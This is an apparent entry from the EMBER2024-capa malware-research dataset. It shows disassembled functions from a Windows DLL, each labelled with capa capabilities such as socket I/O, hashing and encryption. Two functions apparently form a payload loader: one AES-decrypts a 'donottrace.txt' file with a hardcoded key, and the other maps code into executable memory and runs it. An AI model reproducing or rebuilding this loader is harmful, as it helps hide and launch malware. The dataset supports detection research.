joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000902d
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x1c], 8
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1000905a
xor eax, eax
jmp 0x10009113
push 0x14
push 0
lea ecx, [ebp - 0x14]
push ecx
call fcn.1004fa90
add esp, 0xc
mov byte [ebp - 0x14], 8
mov byte [ebp - 0x13], 2
mov dword [ebp - 0x10], 0x6601
mov dword [ebp - 0xc], 8
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.10009117
add esp, 8
push 8
lea ecx, [ebp - 8]
push ecx
call fcn.10007880
add esp, 8
lea edx, [ebp - 0x20]
push edx
push 0
push 0
push 0x14
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x100090ca
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x10009113
push 8
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1004fbf0
add esp, 0xc
mov edx, dword [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x100092ce
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
push eax
call fcn.1004fb70
add esp, 4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
shl ecx, 1
push ecx
call dword [0x1005fda4]
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10009305
mov eax, 0x1b
jmp 0x100093cd
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100093d1
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x1000932e
mov eax, dword [ebp - 4]
jmp 0x100093cd
push 0xf0000000
push 1
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100093ab
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0x8002
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000939f
mov dword [ebp - 0x18], 0x10
push 0
mov edx, dword [ebp - 8]
shl edx, 1
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 2
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 5
push 0
mov ecx, dword [ebp + 0x10]
add ecx, 0x10
push ecx
call fcn.1004fa90
add esp, 0xc
mov edx, dword [ebp - 0xc]
push edx
call dword [0x1005fda8]
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000a4f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
call fcn.1005137c
add esp, 0x18
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000a51b
cmp dword [ebp - 4], 0xffffffff
jne 0x1000a51f
xor eax, eax
jmp 0x1000a522
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x1000c635
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov word [ebp - 0x198], 0x202
lea eax, [ebp - 0x190]
push eax
mov cx, word [ebp - 0x198]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
je 0x1000c672
mov eax, 2
jmp 0x1000c6e0
mov edx, dword [ebp - 0x190]
and edx, 0xffff
and edx, 0xff
and edx, 0xff
mov eax, dword [ebp - 0x198]
and eax, 0xffff
and eax, 0xff
and eax, 0xff
cmp edx, eax
jne 0x1000c6d1
mov ecx, dword [ebp - 0x190]
and ecx, 0xffff
shr ecx, 8
and ecx, 0xff
mov edx, dword [ebp - 0x198]
and edx, 0xffff
shr edx, 8
and edx, 0xff
cmp ecx, edx
je 0x1000c6de
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
jmp 0x1000c6e0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1001380e
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 0xc]
cdq
mov ecx, 0x64
idiv ecx
cmp eax, 2
je 0x1001384b
push str.Couldnt_set_desired_mode
mov edx, dword [ebp - 8]
push edx
call fcn.100350d3
add esp, 8
mov eax, 0x11
jmp 0x100138c6
cmp dword [ebp + 0xc], 0xc8
je 0x10013869
mov eax, dword [ebp + 0xc]
push eax
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
mov ecx, dword [ebp - 8]
push ecx
call fcn.1003504f
add esp, 0xc
cmp dword [ebp + 0x10], 0x13
jne 0x10013880
mov edx, dword [ebp + 8]
push edx
call fcn.100118a3
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100138c3
cmp dword [ebp + 0x10], 0x14
jne 0x10013897
mov eax, dword [ebp + 8]
push eax
call fcn.100138ca
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100138c3
cmp dword [ebp + 0x10], 0x15
jne 0x100138ae
mov ecx, dword [ebp + 8]
push ecx
call fcn.10013a80
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100138c3
cmp dword [ebp + 0x10], 0x16
jne 0x100138c3
mov edx, dword [ebp + 8]
push edx
call fcn.10013aa5
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10014308
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x194]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x10014362
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10003d83
add esp, 8
cmp dword [ebp - 8], 0xffffffff
jne 0x10014393
push str.Error_accept__ing_server_connect
mov eax, dword [ebp - 0xc]
push eax
call fcn.100350d3
add esp, 8
mov eax, 0x1e
jmp 0x10014425
push str.Connection_accepted_from_server_n
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.1003504f
add esp, 8
mov edx, dword [ebp + 8]
mov dword [edx + 0x298], 0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov dword [eax + 0x194], ecx
push 1
mov edx, dword [ebp - 8]
push edx
call fcn.1002d670
add esp, 8
mov eax, dword [ebp + 8]
mov dword [eax + 0x1a4], 1
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0x1a8], 0
je 0x10014423
mov dword [ebp - 0x24], 0
push 1
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1ac]
push ecx
mov edx, dword [ebp - 0xc]
call dword [edx + 0x1a8]
add esp, 0xc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10014423
mov eax, dword [ebp + 8]
push eax
call fcn.10012653
add esp, 4
mov eax, 0x2a
jmp 0x10014425
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10018c01
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 8]
push eax
call fcn.100521fd
add esp, 4
mov dword [ebp - 0x108], eax
mov byte [ebp - 0x104], 0
cmp dword [ebp - 0x108], 0
je 0x10018c45
push 0x104
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
movsx eax, byte [ebp - 0x104]
test eax, eax
je 0x10018c68
lea ecx, [ebp - 0x104]
push ecx
call dword [0x1005fdb0]
add esp, 4
mov dword [ebp - 0x10c], eax
jmp 0x10018c72
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x10c]
mov esp, ebp
pop ebp
ret
Function at 0x10026bd0
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push 0xf0000000
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10026c08
mov ecx, dword [ebp + 8]
add ecx, 4
push ecx
push 0
push 0
push 0x8003
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop ebp
ret
Function at 0x10035330
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4 + 0x190]
mov dword [ebp - 8], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.100353e2
add esp, 8
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x18]
mov dword [edx], 0
cmp dword [ebp - 4], 0xffffffff
jne 0x100353db
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
jne 0x100353a0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], 0x51
jmp 0x100353db
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1003c041
add esp, 8
push eax
push str.Send_failure:__s
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.100350d3
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x4724], ecx
mov edx, dword [ebp + 0x18]
mov dword [edx], 0x37
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x100353e2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4 + 0x190]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
shl eax, 4
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax + 0x1b8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [eax + 4]
sub edx, dword [ecx + 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x308]
mov edx, dword [ecx + 0x3c]
and edx, 3
test edx, edx
je 0x10035519
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4 + 0x1a8], 0x10035565
jne 0x10035519
mov edx, dword [ebp - 0xc]
cmp dword [edx], 0
je 0x1003545a
cmp dword [ebp - 8], 0
je 0x10035519
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call fcn.100343e9
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x10035519
mov ecx, dword [ebp - 0x10]
and ecx, 1
test ecx, ecx
je 0x10035519
mov edx, dword [ebp - 0xc]
cmp dword [edx], 0
jne 0x100354cb
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], 0x8000
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 4]
push edx
call dword [0x1005fda4]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc]
mov dword [edx + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
je 0x1003550f
xor ecx, ecx
test ecx, ecx
jne 0x100354d3
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
add ecx, dword [edx + 8]
push ecx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x1003550d
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 8]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov dword [eax + 8], edx
jmp 0x10035519
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 4], 0
mov esp, ebp
pop ebp
ret

Function at 0x10035b65
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10035bb4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 8], eax
xor eax, eax
cmp dword [ebp - 8], 0x2733
sete al
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10035bad
mov eax, 0x51
jmp 0x10035bbe
mov eax, 0x38
jmp 0x10035bbe
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1003ca7a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1003caa9
xor eax, eax
jmp 0x1003cbf8
push str.LoadLibraryExA
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x10065d08
mov ecx, dword [ebp + 8]
push ecx
call fcn.10052ba0
add esp, 8
test eax, eax
je 0x1003cafe
cmp dword [ebp - 8], 0
je 0x1003cae6
push 8
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 8]
mov dword [ebp - 0x1c], eax
jmp 0x1003caf3
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
jmp 0x1003cbf5
cmp dword [ebp - 8], 0
je 0x1003cb2d
push str.AddDllDirectory
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1003cb2d
push 0x800
push 0
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x1003cbf5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1003cbf5
mov ecx, dword [ebp + 8]
push ecx
call fcn.1004fb70
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
lea ecx, [eax + edx + 1]
push ecx
call dword [0x1005fda4]
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1003cbe8
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1003cbe8
push 0x10065d1c
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.1004fb70
add esp, 4
mov edx, dword [ebp - 0x18]
add edx, eax
push edx
call fcn.100509f0
add esp, 8
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.1004fb70
add esp, 4
mov edx, dword [ebp - 0x18]
add edx, eax
push edx
call fcn.100509f0
add esp, 8
cmp dword [ebp - 8], 0
je 0x1003cbd5
push 8
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [ebp - 8]
mov dword [ebp - 0x20], eax
jmp 0x1003cbe2
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x18]
push eax
call dword [0x1005fda8]
add esp, 4
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x1003d305
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
xor eax, eax
test eax, eax
jne 0x1003d30e
mov word [ebp - 0x198], 2
lea ecx, [ebp - 0x194]
push ecx
mov dx, word [ebp - 0x198]
push edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1003d357
mov eax, dword [ebp - 4]
push eax
push str.WSAStartup_failed___d_
mov ecx, dword [ebp + 8]
push ecx
call fcn.100350d3
add esp, 0xc
mov eax, 2
jmp 0x1003d3d6
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [ebp - 0x194]
and edx, 0xffff
and edx, 0xff
and edx, 0xff
mov eax, dword [ebp - 0x198]
and eax, 0xffff
and eax, 0xff
and eax, 0xff
cmp edx, eax
jne 0x1003d3bc
mov ecx, dword [ebp - 0x194]
and ecx, 0xffff
shr ecx, 8
and ecx, 0xff
mov edx, dword [ebp - 0x198]
and edx, 0xffff
shr edx, 8
and edx, 0xff
cmp ecx, edx
je 0x1003d3d4
push str.insufficient_winsock_version_to_support_telnet
mov eax, dword [ebp + 8]
push eax
call fcn.100350d3
add esp, 8
mov eax, 2
jmp 0x1003d3d6
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003d664
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0xc], ecx
mov byte [ebp - 8], 0xff
mov dl, byte [ebp + 0xc]
mov byte [ebp - 7], dl
mov al, byte [ebp + 0x10]
mov byte [ebp - 6], al
push 0
push 3
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x190]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x1003d6c1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
push 0x10066130
mov edx, dword [ebp - 0xc]
push edx
call fcn.100350d3
add esp, 0xc
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0x1006614c
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.1003d6e0
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x1004ea89
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
call fcn.1004e9b4
add esp, 4
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10056e64
add esp, 0xc
pop ebp
ret

Function at 0x1004ebd6
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1004ecc8
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0
push 0x800c
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1004ecbc
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.1004fb70
add esp, 4
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1004ecb2
lea eax, [ebp - 0x10]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
push 0x6610
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1004ecb2
lea eax, [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 1
push 0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1004ec9f
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov dword [eax], ecx
mov dword [ebp - 4], 1
jmp 0x1004eca8
mov edx, dword [ebp + 0x14]
mov dword [edx], 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1004eccf
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea ecx, [ebp - 0x104]
push ecx
call fcn.1004ff70
add esp, 8
mov byte [eax], 0
push str.donottrace.txt
lea edx, [ebp - 0x104]
push edx
call fcn.10050a00
add esp, 8
push 0
push 0x80
push 3
push 0
push 0
push accept
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x1006b130], eax
push 0
mov ecx, dword [0x1006b130]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x1006b120], eax
push 4
push 0x3000
mov edx, dword [0x1006b120]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1006b128], eax
push 0
push 0x1006b124
mov eax, dword [0x1006b120]
push eax
mov ecx, dword [0x1006b128]
push ecx
mov edx, dword [0x1006b130]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x1006b130]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x108], 0
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [0x1006b120]
push edx
mov eax, dword [0x1006b128]
push eax
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
call fcn.1004ebd6
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x1004f183
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
cmp dword [eax + 8], 0
je 0x1004f19c
xor eax, eax
jmp 0x1004f2e1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.1004f741
test eax, eax
jne 0x1004f1b7
xor eax, eax
jmp 0x1004f2e1
mov ecx, dword [ebp - 0x14]
call fcn.1004f893
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1004f1cf
xor eax, eax
jmp 0x1004f2e1
push 0x40
push 0x3000
mov eax, dword [ebp - 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1004f1f2
xor eax, eax
jmp 0x1004f2e1
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.1004f973
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
cmp dword [ecx + 0xa0], 0
jbe 0x1004f22c
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x10]
cmp dword [eax + 0xa4], 0
jbe 0x1004f22c
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x14]
call fcn.1004f48b
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.1004f55a
test eax, eax
jne 0x1004f254
push 0x8000
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x1004f2e1
lea ecx, [ebp - 0x10]
push ecx
push 0x40
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x10]
mov eax, dword [edx + 0x28]
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], eax
push 0
push 1
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x14]
call dword [eax + 4]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1004f2ca
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
call dword [edx + 4]
push 0x8000
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], 0
xor eax, eax
jmp 0x1004f2e1
mov edx, dword [ebp - 0x14]
mov dword [edx], 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov dword [eax + 8], ecx
mov eax, 1
mov esp, ebp
pop ebp
ret 8